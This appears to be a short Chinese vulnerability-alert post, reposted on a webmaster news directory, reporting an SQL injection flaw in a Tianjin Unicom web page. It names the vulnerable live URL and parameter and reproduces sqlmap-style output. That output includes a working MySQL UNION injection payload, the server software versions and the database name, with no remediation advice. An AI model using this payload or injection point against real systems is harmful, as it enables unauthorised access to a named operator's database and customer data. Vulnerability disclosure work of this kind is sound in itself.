天津联通网站存在SQL注入漏洞下载

注入点：

http://www.tj10010.com:8080/wopai/confirmnumber?number=

DB：

 

Place: GET

Parameter: number

    Type: UNION query

    Title: MySQL UNION query (NULL) - 3 columns

    Payload: number=-1345' UNION ALL SELECT CONCAT(0x7166636971,0x6a664c584f6366714272,0x7178676671),NULL,NULL#

---

web server operating system: Windows

web application technology: PHP 5.3.5, Apache 2.2.17

back-end DBMS: MySQL 5

current database:    'webshop'
上一篇： 关于SQL Server中几个未公布的访问注册表的扩展存储过程下载
下一篇： 至顶网某分站SQL注入漏洞下载
当前位置：站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细